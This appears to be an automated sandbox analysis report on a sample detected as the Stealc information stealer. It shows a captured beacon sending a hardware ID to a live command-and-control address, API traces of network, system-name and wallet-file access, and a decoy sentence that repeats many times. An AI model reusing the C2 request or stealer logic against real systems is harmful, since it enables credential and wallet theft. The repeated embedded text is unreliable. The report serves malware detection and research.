Oct 2, 2024 19:07:57.172792912 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 37 46 42 30 32 30 37 43 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"F77FB0207C0F807656615------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"doma------ECGDHIDAAFHIIDGDBFIE--
Oct 2, 2024 19:07:57.397494078 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 17:07:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	13:07:52
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf00000
File size:	1'793'024 bytes
MD5 hash:	9267E551326D9F70CA969543647F060B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2050199522.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00F19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,008A14E0), ref: 00F198A1
GetProcAddress.KERNEL32(75900000,008A16D8), ref: 00F198BA
GetProcAddress.KERNEL32(75900000,008A16F0), ref: 00F198D2
GetProcAddress.KERNEL32(75900000,008A1708), ref: 00F198EA
GetProcAddress.KERNEL32(75900000,008A1558), ref: 00F19903
GetProcAddress.KERNEL32(75900000,008A97F0), ref: 00F1991B
GetProcAddress.KERNEL32(75900000,00896900), ref: 00F19933
GetProcAddress.KERNEL32(75900000,00896740), ref: 00F1994C
GetProcAddress.KERNEL32(75900000,008A1720), ref: 00F19964
GetProcAddress.KERNEL32(75900000,008A1738), ref: 00F1997C
GetProcAddress.KERNEL32(75900000,008A1780), ref: 00F19995
GetProcAddress.KERNEL32(75900000,008A1798), ref: 00F199AD
GetProcAddress.KERNEL32(75900000,00896700), ref: 00F199C5
GetProcAddress.KERNEL32(75900000,008A17B0), ref: 00F199DE
GetProcAddress.KERNEL32(75900000,008A14F8), ref: 00F199F6
GetProcAddress.KERNEL32(75900000,008968E0), ref: 00F19A0E
GetProcAddress.KERNEL32(75900000,008A1510), ref: 00F19A27
GetProcAddress.KERNEL32(75900000,008A1810), ref: 00F19A3F
GetProcAddress.KERNEL32(75900000,00896800), ref: 00F19A57
GetProcAddress.KERNEL32(75900000,008A17E0), ref: 00F19A70
GetProcAddress.KERNEL32(75900000,00896680), ref: 00F19A88
LoadLibraryA.KERNEL32(008A17F8,?,00F16A00), ref: 00F19A9A
LoadLibraryA.KERNEL32(008A1870,?,00F16A00), ref: 00F19AAB
LoadLibraryA.KERNEL32(008A1888,?,00F16A00), ref: 00F19ABD
LoadLibraryA.KERNEL32(008A1828,?,00F16A00), ref: 00F19ACF
LoadLibraryA.KERNEL32(008A17C8,?,00F16A00), ref: 00F19AE0
GetProcAddress.KERNEL32(75070000,008A1840), ref: 00F19B02
GetProcAddress.KERNEL32(75FD0000,008A1858), ref: 00F19B23
GetProcAddress.KERNEL32(75FD0000,008A9C88), ref: 00F19B3B
GetProcAddress.KERNEL32(75A50000,008A9BB0), ref: 00F19B5D
GetProcAddress.KERNEL32(74E50000,00896720), ref: 00F19B7E
GetProcAddress.KERNEL32(76E80000,008A9760), ref: 00F19B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00F19BB6

Strings

NtQueryInformationProcess, xrefs: 00F19BAA

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 0be27ce867520cc0f0d4b2dcecfe1b09697e1ad979aa368c857f2c1fd57aa884
Instruction ID: 63ebec3b86aca1bfe27352d2f51794783ebab8ee24530a6d3a5db8b2c824316c
Opcode Fuzzy Hash: 0be27ce867520cc0f0d4b2dcecfe1b09697e1ad979aa368c857f2c1fd57aa884
Instruction Fuzzy Hash: 47A16DBD5C46019FE37CDFA8F5989563BF9FF88A12306453AA6278320CD63A94C1DB50

Function 00F045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00F0460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00F0479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F0466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F04617

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: fc1c11b84b88447fdeb340eea2bf7bdaa014bd2e2ee7d205d2967ca0217f3aae
Instruction ID: 5545f1dcba10e9147bffc96b4a88768c0334a419df90774a4b10afd492fdfcea
Opcode Fuzzy Hash: fc1c11b84b88447fdeb340eea2bf7bdaa014bd2e2ee7d205d2967ca0217f3aae
Instruction Fuzzy Hash: 974106606DB61C7BE624F7A5A8C6EBE7757FF46F08F509040E80266285CAB0B600F527

Function 00F04880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F04839
Part of subcall function 00F047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F04849

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F04915
StrCmpCA.SHLWAPI(?,008AF278), ref: 00F0493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F04ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00F20DDB,00000000,?,?,00000000,?,",00000000,?,008AF2E8), ref: 00F04DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F04E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F04E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F04E49
InternetCloseHandle.WININET(00000000), ref: 00F04EAD
InternetCloseHandle.WININET(00000000), ref: 00F04EC5
HttpOpenRequestA.WININET(00000000,008AF258,?,008AE690,00000000,00000000,00400100,00000000), ref: 00F04B15

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

InternetCloseHandle.WININET(00000000), ref: 00F04ECF

Strings

------, xrefs: 00F04B28
", xrefs: 00F04D33
------, xrefs: 00F049BD
", xrefs: 00F04BF2
------, xrefs: 00F04C69

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 67cf6059756b8312a156866bce8392691107cca6cb9e25dcafb967783984864b
Instruction ID: 8cf81b29c2e71da1c32ac6fba4980b40ffd4de1eb29706307d469b74d2ca37b4
Opcode Fuzzy Hash: 67cf6059756b8312a156866bce8392691107cca6cb9e25dcafb967783984864b
Instruction Fuzzy Hash: 3F12F172912118AADB15EB90DD92FEEB378BF14320F504199B10663091EF746FCADF62

Function 00F178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17910
RtlAllocateHeap.NTDLL(00000000), ref: 00F17917
GetComputerNameA.KERNEL32(?,00000104), ref: 00F1792F

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 16ebed996b6f663dd38103e59bf47c39614bc5d77b840d2c0d92cd26427ca3dc
Instruction ID: 078c95615fae36ebab87a91b67d604b2c870723c21ab24196527de1a87295b4a
Opcode Fuzzy Hash: 16ebed996b6f663dd38103e59bf47c39614bc5d77b840d2c0d92cd26427ca3dc
Instruction Fuzzy Hash: C901F9B1948305EFD714DF84D945BAFBBB8FB04B21F100269F556E3280C37459448BA1

Function 00F17850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F011B7), ref: 00F17880
RtlAllocateHeap.NTDLL(00000000), ref: 00F17887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F1789F

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c2c6d07b88b0fca4cbabd3c56210634f50b1a8523b8220c3bbb7abb7e39ccbfe
Instruction ID: 9eed2659eb5df35b27081c03a1c567636cc019fb94d76b242e7218d496e6f9a0
Opcode Fuzzy Hash: c2c6d07b88b0fca4cbabd3c56210634f50b1a8523b8220c3bbb7abb7e39ccbfe
Instruction Fuzzy Hash: D5F0AFB1944209ABC714DF88D949BAEBBB8FB04B22F10022AFA16A3680C77415448BA1

Function 00F01160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00F0116A
ExitProcess.KERNEL32 ref: 00F0117E

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
